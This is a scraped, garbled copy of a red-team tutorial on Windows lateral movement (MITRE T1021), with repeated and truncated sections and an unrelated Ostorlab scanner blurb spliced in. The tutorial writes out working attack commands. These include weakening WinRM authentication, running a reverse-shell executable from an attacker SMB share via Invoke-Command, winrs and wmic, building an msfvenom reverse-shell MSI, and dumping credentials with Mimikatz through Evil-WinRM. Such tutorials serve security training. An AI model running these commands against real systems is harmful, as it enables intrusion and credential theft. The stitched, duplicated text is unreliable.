Invoke-Command is a cmdlet in Powershell that runs specified commands on remote systems by using WinRM interoperability. Admins use this to auto-install tools/software etc. But it can be used for lateral movement too. By specifying our command in “scriptblock” we can execute it. “-Credent[...]
On server and client versions of the Windows operating system, Enable-PSRemoting allows the administrator to access the remote shell using Powershell for private and domain networks through WinRM service.
Read Microsoft’s documentation here about WinRM
First, to set up WinRM we need to execute the following commands in an Admin Powershell window only. This would enable winrm, allow HTTP connection (as by default no SSL cert is there for HTTPS in a system) and allow all users by adding them in trusted hosts.
Enable-PSRemoting -Force
winrm quickconfig
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Set-Item WSMan:localhost\client\trustedhosts -value *
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6GyelLop_vSBT9yPM9a2MasOxA39suZneIWH4nFWDmOldt4HdJWQiBUXhKHVTIuSI_bsUz0NZRTeR8qv9O9UcoN3KoPpjIabVBeYtS52EHZNG8d-brHpFeB-33hzlOwiqvm_Qlfubao15sGr9pxGplfuyGn2Eunn-rh7NmFVslcelsDLIck-xrGorww/s16000/44.png?w=640&ssl=1
For WinRM service, we can manually traverse the config too like this and setting/changing any value.
cd WSMan:\localhost\Client
set-item .\allowunencrypted $true
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl-r6hSFv1YpUbbocUjB8Etrt_1P7QrEcpchcoP3xj0_IppxdfIqruM2P-HlHrPcM3hyGh99cjPcMN7UDW-OJJJads1aWRvrhBDQZpKC-n7BwMTV_xrgw07eHmKNLoddWlAPkNJHcfvET8ERwHskT1GKIj9EByyIIUg7S9rdTlwYc440bon91baDq2hQ/s16000/45.png?w=640&ssl=1
For a domain environment, often tools like WinRS won’t work due to Kerberos. Hence, we need to activate basic authentication mechanism.
set-item WSMan:\localhost\Service\Auth\Basic $true
set-item WSMan:\localhost\Service\AllowUnencrypted $true
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Su18pZJMbVnmPrFBO0sW-MgDZ0RMqLw_iL12iEV_qCrTfkyoQpN7z7XFpC4evdgMvw6JcaLanq6CKL8ec8PLeN9GJQYQtJTSVfk-4KeE4Xuj39Ktfw9_LJFUkUmgXEehBAIkAcdxSEx2iKO-myKrD10bg6DUNKdjNzyXjXaLcwlfl2qgg8x-n7cLbg/s16000/46.png?w=640&ssl=1
New-PSSession Powershell
New-PSSession command in powershell creates a new persistent powershell remote session. By providing in the remote credentials, you see that we have connected to the server. Useful in scenarios where one system has access to a target/destination server and we need to connect to it but our attacker system can’t reach it.
We can further execute the malicious executable that we have kept in our SMB share for further lateral movement.
New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
Enter-PSSession 2
cmd.exe /c \\192.168.1.4\sharename\shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtIBJUDn3AV2zdUgf2o1GaxlQX16lqYxDw9_R0QsoqiCJFwhVKBwB5DDeiFyvBnHEasQSike5XvCo7Bi0ZtsF-ZdbBOewg1H9l2ZFehyiSjWvKa4_jJBxKq-ZwSCOm70sVE8nvwI7NOtEx12Wy_Vi6KMqpNMGYcRXimyeHchb6von6rQJjAufB8lJigQ/s16000/47.png?w=640&ssl=1
You see, now server has bypass the incoming connections of firewall which were restricting a user to connect to it. We have made server connect to us instead!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFY2PJzRD8iHXa-IWp9xpE5jsp_m-42bI6UN_wdFIXYp0ZGUy9l_Srtheq-mE69H-tWUURMbTdarKX5WTYPlKUWBUPCa4ndT441XNR9V_DS5veeFhIyoSSp__HAFAGdrooI3LjkwaWb5RJf5_rIa0rvjmKw8tdn7gt03HpJH-P2MFKaW6PYkaGwWjlKA/s16000/48.png?w=640&ssl=1
It gives us a neat reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3CHqR_1zCrCqPyQiPEbWRMpGcpwXXbDsqDB06nAqSDzYJXCTw7FIe_hw5WBHHW75tK6lWbd17BNfIpetXla1481_TQ6jcgN1LZoeWMALLOL_T4JHfOQ-TrmxEDadPcGIl2s-I-zosIFLRWL6eylcgaF0HOOhE-Aa3fNLqeTUGPvBraILdXsicJYO1ow/s16000/49.png?w=640&ssl=1
Invoke-Command Powershell
Invoke-Command is a cmdlet in Powershell that runs specified commands on remote systems by using WinRM interoperability. Admins use this to auto-install tools/software etc. But it can be used for lateral movement too. By specifying our command in “scriptblock” we can execute it. “-Credent[...]
Hacking Articles Tips Tricks Videos Tutorials
s, and other manageable entities. It uses port 5985 for HTTP transport and 5986 for HTTPS Transport. On server and client versions of the Windows operating system, Enable-PSRemoting allows the administrator to access the remote shell using Powershell for…
ial” flag lets user input credentials which can also be replaced by creating a block and feeding it to the STDIN.
Invoke-Command dc1.ignite.local -Credential $cred -ScriptBlock {cmd.exe /c \\192.168.1.4\sharename\shell.exe}
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlaYLwxeGJxLbIRBshsbx1dIZoVWVJkcQr2a-KCyW6AO5-beARxtedQ2shNifIyRy-1gBss3jnaVPE7WaZuwADpnUn6O-H60ejZM9EuKjQ78vcCUOScbnHswXzFetDMK5qwHHeESaRsuyVe4GHfJ42mQbMxYRizwb2Udh5PvpJomrHNW9NvQf_epJ6bg/s16000/50.png?w=640&ssl=1
This gives us a healthy shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeolN8bKPSzdb9c7zF7VBvp-8dmsSh6kfnsh8TTwqS9_6x1xvhX9hLYo65neKyxDRDDGP7yLl01Ion0r7y3lI7i17BvJn2dlYKAlKGKLpkW2YQLye5b3kc588MqXBEQVuEdlfOj9yrF4SYu8021ujm1CVs0u_83tVpEuaX8Sv3RyNDfQ5ryrAL5P7zkw/s16000/51.png?w=640&ssl=1
Winrs
Winrs stands for Windows Remote Shell and is the same as New-PSSession. It has existed in Windows since Server 2008. Winrs can be used to execute code on the remote system. It only utilizes basic authentication. So, shell.exe kept in our smbshare can be executed like this:
winrs /r:dc1 /username:Administrator /password:Ignite@987 "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_cZbYaaIdGn_kHhTbcj9yWoxh9Auz0BaWt8KHAYz64NmRldyUXYmedZabfCmHKGF_0PVDztPiwfQBGuveCRRKJgk6W68vFXKSQ_7bCjRm7C0BtOKRQKBK6pT7wTQWhaRDX4hIWtnr2S6ztd2r-37MF72vlrnU6IsYs4Imx_WURCtD2VrXwUKefnNQPg/s16000/52.png?w=640&ssl=1
Which gives us a reverse shell successfully!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgQskD93WiZmpytEp4ePxkzLLAMP1e_GChNTd5HH4vhOLb5WkpCoGxMx2pkMSWk1H8WphnhtGA3OWvatKiDpAgsSec3duBS3p4tszN3t5YesJ_zEWSD4qo-Rg5uJ-q4DsA1p0sBFyWB0_XmKRAvKaTShzQQ7ldNVr7hR0Pl6BApQv-zyZh7xg2MiyePQ/s16000/53.png?w=640&ssl=1
Evil-Winrm
Evil-WinRM is a very popular tool used by Red Teamers to conduct lateral movement through network by utilizing WinRM. In the background, it also uses windows remote shell capabilities but has some nifty features added on top of it. It is coded in ruby and can be installed with gem install evil-winrm. After installation, it can be used to connect to a remote server like:
evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987'
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYg6U0ZeemxU4gSzJMNwjomuG1_dISzpabnuKAxLAzJVZ5WIyFj-WtG-sqC1i7sMOXCEB1_Nosv-P3OuaV6vZwOxMqiZZJe2hdPVwCkvapk3Xfz3vJStbvBWXzHzPfbQBplBQGZ1zclpNZdG1njlvLDv8fULViSJNRhB-z-omxVZrjJNrGrQ9dl-lBNQ/s16000/54.png?w=640&ssl=1
Now, I have created a folder called binaries under /root, which includes a Mimikatz powershell script (found here).
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio1MGF2nwP-jBx983yaIDr3FgqAtrru0pYo-3BVTBdjJIq_yedBniDkfBbigLZJM7GkQFRqGN5Pzn2yZ0bqJCFtJLCimh3Gc8ZxiIbaVBRNrPjwm09KmNoUNeEGrzEb1_DbJI_QCJwVb4MNxc0wKmxfTGintbcp-NnO1RCSfy6b4rrPVpwRXZq8XM_KQ/s16000/55.png?w=640&ssl=1
Evil-WinRM can upload these powershell scripts (kept in a folder) and let us execute its powershell functions! For that we use -s and provide the path of binaries folder. Thereafter, we can use Invoke-Mimikatz and as you can see, mimikatz has worked and dumped cached passwords in the server.
evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987' -s '/root/binaries'
Invoke-Mimikatz.ps1
Invoke-Mimikatz
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcbS78xAmzph_q_B_6tcsrxelhdkdIB1vjRbGZmBdAPLOXVT6nlrBv-Pz_hDf9mwvVFknagaTQqffC9Jzq8PG8GuWOYkvMHCS5KRnL5rHQHCqqnYEksG3wizKIE2uAOKZdctyA4qy6o_jss8CGL1m2cECD57fw2F3UT_tTRxw5b0qbJ3u37WqarOQIvA/s16000/56.png?w=640&ssl=1 Lateral Movement through MimikatzMimikatz contains many options that aid with lateral movement. One such is dumping passwords. We can do that using the sekurlsa module:
privilege::debug
sekurlsa::logonpasswords
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI9OIyMhkokK_6qEAfdYzfodRcH57ZcNx4VQOGNEV237T6ic2EUXLxjvGAslilj[...]
Invoke-Command dc1.ignite.local -Credential $cred -ScriptBlock {cmd.exe /c \\192.168.1.4\sharename\shell.exe}
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlaYLwxeGJxLbIRBshsbx1dIZoVWVJkcQr2a-KCyW6AO5-beARxtedQ2shNifIyRy-1gBss3jnaVPE7WaZuwADpnUn6O-H60ejZM9EuKjQ78vcCUOScbnHswXzFetDMK5qwHHeESaRsuyVe4GHfJ42mQbMxYRizwb2Udh5PvpJomrHNW9NvQf_epJ6bg/s16000/50.png?w=640&ssl=1
This gives us a healthy shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeolN8bKPSzdb9c7zF7VBvp-8dmsSh6kfnsh8TTwqS9_6x1xvhX9hLYo65neKyxDRDDGP7yLl01Ion0r7y3lI7i17BvJn2dlYKAlKGKLpkW2YQLye5b3kc588MqXBEQVuEdlfOj9yrF4SYu8021ujm1CVs0u_83tVpEuaX8Sv3RyNDfQ5ryrAL5P7zkw/s16000/51.png?w=640&ssl=1
Winrs
Winrs stands for Windows Remote Shell and is the same as New-PSSession. It has existed in Windows since Server 2008. Winrs can be used to execute code on the remote system. It only utilizes basic authentication. So, shell.exe kept in our smbshare can be executed like this:
winrs /r:dc1 /username:Administrator /password:Ignite@987 "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_cZbYaaIdGn_kHhTbcj9yWoxh9Auz0BaWt8KHAYz64NmRldyUXYmedZabfCmHKGF_0PVDztPiwfQBGuveCRRKJgk6W68vFXKSQ_7bCjRm7C0BtOKRQKBK6pT7wTQWhaRDX4hIWtnr2S6ztd2r-37MF72vlrnU6IsYs4Imx_WURCtD2VrXwUKefnNQPg/s16000/52.png?w=640&ssl=1
Which gives us a reverse shell successfully!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgQskD93WiZmpytEp4ePxkzLLAMP1e_GChNTd5HH4vhOLb5WkpCoGxMx2pkMSWk1H8WphnhtGA3OWvatKiDpAgsSec3duBS3p4tszN3t5YesJ_zEWSD4qo-Rg5uJ-q4DsA1p0sBFyWB0_XmKRAvKaTShzQQ7ldNVr7hR0Pl6BApQv-zyZh7xg2MiyePQ/s16000/53.png?w=640&ssl=1
Evil-Winrm
Evil-WinRM is a very popular tool used by Red Teamers to conduct lateral movement through network by utilizing WinRM. In the background, it also uses windows remote shell capabilities but has some nifty features added on top of it. It is coded in ruby and can be installed with gem install evil-winrm. After installation, it can be used to connect to a remote server like:
evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987'
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYg6U0ZeemxU4gSzJMNwjomuG1_dISzpabnuKAxLAzJVZ5WIyFj-WtG-sqC1i7sMOXCEB1_Nosv-P3OuaV6vZwOxMqiZZJe2hdPVwCkvapk3Xfz3vJStbvBWXzHzPfbQBplBQGZ1zclpNZdG1njlvLDv8fULViSJNRhB-z-omxVZrjJNrGrQ9dl-lBNQ/s16000/54.png?w=640&ssl=1
Now, I have created a folder called binaries under /root, which includes a Mimikatz powershell script (found here).
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio1MGF2nwP-jBx983yaIDr3FgqAtrru0pYo-3BVTBdjJIq_yedBniDkfBbigLZJM7GkQFRqGN5Pzn2yZ0bqJCFtJLCimh3Gc8ZxiIbaVBRNrPjwm09KmNoUNeEGrzEb1_DbJI_QCJwVb4MNxc0wKmxfTGintbcp-NnO1RCSfy6b4rrPVpwRXZq8XM_KQ/s16000/55.png?w=640&ssl=1
Evil-WinRM can upload these powershell scripts (kept in a folder) and let us execute its powershell functions! For that we use -s and provide the path of binaries folder. Thereafter, we can use Invoke-Mimikatz and as you can see, mimikatz has worked and dumped cached passwords in the server.
evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987' -s '/root/binaries'
Invoke-Mimikatz.ps1
Invoke-Mimikatz
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcbS78xAmzph_q_B_6tcsrxelhdkdIB1vjRbGZmBdAPLOXVT6nlrBv-Pz_hDf9mwvVFknagaTQqffC9Jzq8PG8GuWOYkvMHCS5KRnL5rHQHCqqnYEksG3wizKIE2uAOKZdctyA4qy6o_jss8CGL1m2cECD57fw2F3UT_tTRxw5b0qbJ3u37WqarOQIvA/s16000/56.png?w=640&ssl=1 Lateral Movement through MimikatzMimikatz contains many options that aid with lateral movement. One such is dumping passwords. We can do that using the sekurlsa module:
privilege::debug
sekurlsa::logonpasswords
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI9OIyMhkokK_6qEAfdYzfodRcH57ZcNx4VQOGNEV237T6ic2EUXLxjvGAslilj[...]
Hacking Articles Tips Tricks Videos Tutorials
ial” flag lets user input credentials which can also be replaced by creating a block and feeding it to the STDIN. Invoke-Command dc1.ignite.local -Credential $cred -ScriptBlock {cmd.exe /c \\192.168.1.4\sharename\shell.exe} https://i0.wp.com/blogger.goo…
3PdULWEVzhkZMQ-JTwu5OrrUAQ57fXtzSDCKTj_gLnVxd-wjJ0siNIhxDGqrSU6vCnSlqqm-OeuXhY4NwhR8UN0Qk-mDVEQJ1KqALxL2jcGQgs_luhkf4vH7G2N2Q/s16000/57.png?w=640&ssl=1
These hashes can further be used with psexec to conduct pass the hash attacks! Lateral Movement through WMIThe WMI command-line (WMIC) utility provides a command-line interface for Windows Management Instrumentation (WMI). WMIC is compatible with existing shells and utility commands. Wmi can also be used to execute commands remotely. This is achieved by using /node flag. For example, in the example below we are creating a new process call which will execute our shell kept in our SMB server on node 192.168.1.2
wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4qbiG4PXOs2Chp1oxx7Rh0SDwUG0NkicULLX5wqaiuBUX4SMDy0WiL-leR3f37X-37Uur75mjcJxtRivpYDXI8py0IdljcFLaZ9Yk4xXYfqBS7xMYRtkyIuuZJj-op1-vJuaQRMMcXhExKitul7HSpE5KZMWYX_2_xSKRHgmZxt01ruKdANenVzPuA/s16000/58.png?w=640&ssl=1
As you can see, execution was successful and we have received a reverse shell
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj30l8N60xGqiUq67kO2atLX1AzEZ6RXCFKGJ0RWhXhYjU5O_J0qUIahkrfkwXBvRpbMStcpxEMFcamsyfmm2DxJp0X4bV5pZUbZW2Qq7abAGIMDyBlghjjCbsS21PcuMC4HAtuCpYRkG1g6CnifvvfvftXYd7WiP8EOBKmfN89jqRSuj8fpbtg7013Lw/s16000/59.png?w=640&ssl=1 Lateral Movement through Invoke-WmiMethodAs for any good utility that existed as a binary in windows, Microsoft has created an equivalent powershell cmdlet for it. Invoke-WmiMethod is a cmdlet that does the same as wmic in the example above. Newer Invoke-CimMethod in PS 5.1+ does the same thing. Refer here.
To use Invoke-WmiMethod using CLI, we need to craft a command. Thanks to @spotheplanet for this technique. We can use generic Invoke-WmiMethod too but it requires GUI which we generally don’t have in Red Team scenarios.
In this technique, we will create a malicious MSI file, and install it in the destination server.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=1337 -f msi > shell.msi
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVYMOoSCZU7uh9qT7zS6cgZXl3py22eol14UGpsPcyLbCZZN-B_O3kcnWQMxL7BOfqBjkOCalEVYltyWaYhsXePRt9bIJtKe2CYXWKDVJzqHepok0l_qeTI5CfbTKWAmC0vCl-KkIJvlqfnShizD63-_d5XbjcxT9rzWlX60yTwMDkxC0tMtN_OVG0VA/s16000/60.png?w=640&ssl=1
Now, in the CLI of the compromised victim, we put in the following command. This command basically provides credentials (Administrator:Ignite@987) to Invoke-WmiMethod and installs an MSI file put in our SMB share.
$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","\\192.168.1.4\sharename\shell.msi") -ComputerName dc1 -Credential $credential
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOdFlLHMFQ_2ueT5Gel4vFF4eMVdOHpi8ny_UTapDcKSXlaUlB4CkMDmrTFfvvBZrQguOiOKzHwD3AfISjw7h-PbOJSPUnZwNWsSzxgyL44OJ6q-YHiKfQlQ6nHtKonr7bn8h0nRPyTNvO9kr_y1mfBbQ6BUNKqQ6x7jOam2UP9X0DioZZR4N7BzU2LQ/s16000/61.png?w=640&ssl=1
On our reverse listener, you can see a stable shell has now popped up!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDgtugo9MM4wxLMCy0cbYdMV6MPR6Qe4JcCWPNaBt1WJ0bQeNFnfeNNIQKmHJuH6I7u-HzIcfmO7ndqeDosaNhCbic6EFUZOL_7NCzUrkHNkITfDq9BJ86JHdMHW_Wr9p5FSaB09dNG89WwxI0Ec8-rzr-hHzLbs1s6UPwGsLOKrvaa4mv_0y2-LhzrQ/s16000/62.png?w=640&ssl=1 ConclusionLateral Movement is an essential step in red teaming as it leads to privilege escalation and network compromise. The article talked about Remote Services and how they can be utilized for lateral movement scenarios during Red Team Assessments. These services inherently have the capability to interact with remote systems. We demonstra[...]
These hashes can further be used with psexec to conduct pass the hash attacks! Lateral Movement through WMIThe WMI command-line (WMIC) utility provides a command-line interface for Windows Management Instrumentation (WMI). WMIC is compatible with existing shells and utility commands. Wmi can also be used to execute commands remotely. This is achieved by using /node flag. For example, in the example below we are creating a new process call which will execute our shell kept in our SMB server on node 192.168.1.2
wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c \\192.168.1.4\sharename\shell.exe"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_4qbiG4PXOs2Chp1oxx7Rh0SDwUG0NkicULLX5wqaiuBUX4SMDy0WiL-leR3f37X-37Uur75mjcJxtRivpYDXI8py0IdljcFLaZ9Yk4xXYfqBS7xMYRtkyIuuZJj-op1-vJuaQRMMcXhExKitul7HSpE5KZMWYX_2_xSKRHgmZxt01ruKdANenVzPuA/s16000/58.png?w=640&ssl=1
As you can see, execution was successful and we have received a reverse shell
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj30l8N60xGqiUq67kO2atLX1AzEZ6RXCFKGJ0RWhXhYjU5O_J0qUIahkrfkwXBvRpbMStcpxEMFcamsyfmm2DxJp0X4bV5pZUbZW2Qq7abAGIMDyBlghjjCbsS21PcuMC4HAtuCpYRkG1g6CnifvvfvftXYd7WiP8EOBKmfN89jqRSuj8fpbtg7013Lw/s16000/59.png?w=640&ssl=1 Lateral Movement through Invoke-WmiMethodAs for any good utility that existed as a binary in windows, Microsoft has created an equivalent powershell cmdlet for it. Invoke-WmiMethod is a cmdlet that does the same as wmic in the example above. Newer Invoke-CimMethod in PS 5.1+ does the same thing. Refer here.
To use Invoke-WmiMethod using CLI, we need to craft a command. Thanks to @spotheplanet for this technique. We can use generic Invoke-WmiMethod too but it requires GUI which we generally don’t have in Red Team scenarios.
In this technique, we will create a malicious MSI file, and install it in the destination server.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=1337 -f msi > shell.msi
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVYMOoSCZU7uh9qT7zS6cgZXl3py22eol14UGpsPcyLbCZZN-B_O3kcnWQMxL7BOfqBjkOCalEVYltyWaYhsXePRt9bIJtKe2CYXWKDVJzqHepok0l_qeTI5CfbTKWAmC0vCl-KkIJvlqfnShizD63-_d5XbjcxT9rzWlX60yTwMDkxC0tMtN_OVG0VA/s16000/60.png?w=640&ssl=1
Now, in the CLI of the compromised victim, we put in the following command. This command basically provides credentials (Administrator:Ignite@987) to Invoke-WmiMethod and installs an MSI file put in our SMB share.
$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","\\192.168.1.4\sharename\shell.msi") -ComputerName dc1 -Credential $credential
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOdFlLHMFQ_2ueT5Gel4vFF4eMVdOHpi8ny_UTapDcKSXlaUlB4CkMDmrTFfvvBZrQguOiOKzHwD3AfISjw7h-PbOJSPUnZwNWsSzxgyL44OJ6q-YHiKfQlQ6nHtKonr7bn8h0nRPyTNvO9kr_y1mfBbQ6BUNKqQ6x7jOam2UP9X0DioZZR4N7BzU2LQ/s16000/61.png?w=640&ssl=1
On our reverse listener, you can see a stable shell has now popped up!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDgtugo9MM4wxLMCy0cbYdMV6MPR6Qe4JcCWPNaBt1WJ0bQeNFnfeNNIQKmHJuH6I7u-HzIcfmO7ndqeDosaNhCbic6EFUZOL_7NCzUrkHNkITfDq9BJ86JHdMHW_Wr9p5FSaB09dNG89WwxI0Ec8-rzr-hHzLbs1s6UPwGsLOKrvaa4mv_0y2-LhzrQ/s16000/62.png?w=640&ssl=1 ConclusionLateral Movement is an essential step in red teaming as it leads to privilege escalation and network compromise. The article talked about Remote Services and how they can be utilized for lateral movement scenarios during Red Team Assessments. These services inherently have the capability to interact with remote systems. We demonstra[...]
Hacking Articles Tips Tricks Videos Tutorials
3PdULWEVzhkZMQ-JTwu5OrrUAQ57fXtzSDCKTj_gLnVxd-wjJ0siNIhxDGqrSU6vCnSlqqm-OeuXhY4NwhR8UN0Qk-mDVEQJ1KqALxL2jcGQgs_luhkf4vH7G2N2Q/s16000/57.png?w=640&ssl=1 These hashes can further be used with psexec to conduct pass the hash attacks! Lateral Movement through…
ted such techniques in the article. References* https://attack.mitre.org/techniques/T1021/
* https://github.com/redcanaryco/atomic-red-team
* https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0?redirectedfrom=MSDN
* https://docs.microsoft.com/en-gb/windows/win32/com/the-component-object-model?redirectedfrom=MSDN
* https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
* https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement
* https://www.thomasmaurer.ch/2020/04/enable-powershell-ssh-remoting-in-powershell-7/
* https://docs.microsoft.com/en-gb/windows/win32/winrm/installation-and-configuration-for-windows-remote-management?redirectedfrom=MSDN
* https://blog.gentilkiwi.com/mimikatz
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Lateral Movement: Remote Services (Mitre:T1021) appeared first on Hacking Articles.
* https://github.com/redcanaryco/atomic-red-team
* https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0?redirectedfrom=MSDN
* https://docs.microsoft.com/en-gb/windows/win32/com/the-component-object-model?redirectedfrom=MSDN
* https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
* https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement
* https://www.thomasmaurer.ch/2020/04/enable-powershell-ssh-remoting-in-powershell-7/
* https://docs.microsoft.com/en-gb/windows/win32/winrm/installation-and-configuration-for-windows-remote-management?redirectedfrom=MSDN
* https://blog.gentilkiwi.com/mimikatz
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Lateral Movement: Remote Services (Mitre:T1021) appeared first on Hacking Articles.
Ostorlab - A Security Scanning Platform That Enables Running Complex Security Scanning Tasks Involving Multiple Tools In An Easy, Scalable And Distributed Way
http://www.kitploit.com/2022/03/ostorlab-security-scanning-platform.html
http://www.kitploit.com/2022/03/ostorlab-security-scanning-platform.html
The Sales Pitch If this is the first time you are visiting the Ostorlab Github page, here is the sales pitch. Security testing requires often chaining tools together, taking the output from one, mangling it, filtering it and then pushing it to another tool. Several tools have tried to make the process less painful with limited success. Ostorlab addresses the same challenge by simplifying the hardest part and automating the boring and tedious part.
To do that, Ostorlab focuses on the following: Ease of use with simple one command-line to perform all tasks Developer Experience through project documentation, tutorials, SDK and templates Scalability and Performance by using efficient serialisation format and proven industry standard for all of its components To do that, Ostorlab ships with: A simple, yet powerful SDK to make simple cases effortless while supporting the complex one, like distributed (https://www.kitploit.com/search/label/Distributed) locking, QPS limiting, multiple instance parallelization ... A battle-tested framework that has been powering Ostorlab Platform for years and used to perform complex dynamic analysis setup and demanding static analysis (https://www.kitploit.com/search/label/Static%20Analysis) workloads running on multiple machines. Performant and scalable design, thanks to the use of message queue with dynamic routing, binary and compact message serialisation with protbuf, universal file format using docker image, resilient thanks to docker swarm mode to cite a few A store of agents that make is to use and discover tools to add your toolset An automated (https://www.kitploit.com/search/label/Automated) builder to take the hassle away of building and publishing. A GUI to prepare and write down your tool collection setup Focus on documentation, multiple tutorials and upcoming videos and conference presentations A ready to use one-click template repo to get started. Requirements For some tasks, like running scans locally, Docker is required. To install docker, please see the following instructions (https://docs.docker.com/get-docker/). Installing Ostorlab is shipped as a Python package on Pypi. To install, simply run the following command if you have pip already installed. pip install -U ostorlab Getting Started To perform your first scan, simply run the following command: ostorlab scan run --install --agent agent/ostorlab/nmap --agent agent/ostorlab/openvas --agent agent/ostorlab/tsunami --agent agent/ostorlab/nuclei ip 8.8.8.8 This command will download and install the following scanning agents: agent/ostorlab/nmap agent/ostorlab/tsunami agent/ostorlab/nuclei agent/ostorlab/openvas And will scan the target IP address 8.8.8.8 To check the scan status: ostrlab scan list Once the scan has completed, to access the scan results: ostorlab vulnz describe --vuln-id ">ostorlab vulnz list --scan-id
ostorlab vulnz describe --vuln-id The Store Ostorlab lists all agents on a public store where you can search and also publish your own agents.
To do that, Ostorlab focuses on the following: Ease of use with simple one command-line to perform all tasks Developer Experience through project documentation, tutorials, SDK and templates Scalability and Performance by using efficient serialisation format and proven industry standard for all of its components To do that, Ostorlab ships with: A simple, yet powerful SDK to make simple cases effortless while supporting the complex one, like distributed (https://www.kitploit.com/search/label/Distributed) locking, QPS limiting, multiple instance parallelization ... A battle-tested framework that has been powering Ostorlab Platform for years and used to perform complex dynamic analysis setup and demanding static analysis (https://www.kitploit.com/search/label/Static%20Analysis) workloads running on multiple machines. Performant and scalable design, thanks to the use of message queue with dynamic routing, binary and compact message serialisation with protbuf, universal file format using docker image, resilient thanks to docker swarm mode to cite a few A store of agents that make is to use and discover tools to add your toolset An automated (https://www.kitploit.com/search/label/Automated) builder to take the hassle away of building and publishing. A GUI to prepare and write down your tool collection setup Focus on documentation, multiple tutorials and upcoming videos and conference presentations A ready to use one-click template repo to get started. Requirements For some tasks, like running scans locally, Docker is required. To install docker, please see the following instructions (https://docs.docker.com/get-docker/). Installing Ostorlab is shipped as a Python package on Pypi. To install, simply run the following command if you have pip already installed. pip install -U ostorlab Getting Started To perform your first scan, simply run the following command: ostorlab scan run --install --agent agent/ostorlab/nmap --agent agent/ostorlab/openvas --agent agent/ostorlab/tsunami --agent agent/ostorlab/nuclei ip 8.8.8.8 This command will download and install the following scanning agents: agent/ostorlab/nmap agent/ostorlab/tsunami agent/ostorlab/nuclei agent/ostorlab/openvas And will scan the target IP address 8.8.8.8 To check the scan status: ostrlab scan list Once the scan has completed, to access the scan results: ostorlab vulnz describe --vuln-id ">ostorlab vulnz list --scan-id
ostorlab vulnz describe --vuln-id The Store Ostorlab lists all agents on a public store where you can search and also publish your own agents.
In addition, the store, a graphical agent group builder is also available to compose multiple agents and see how they would interact with each other.
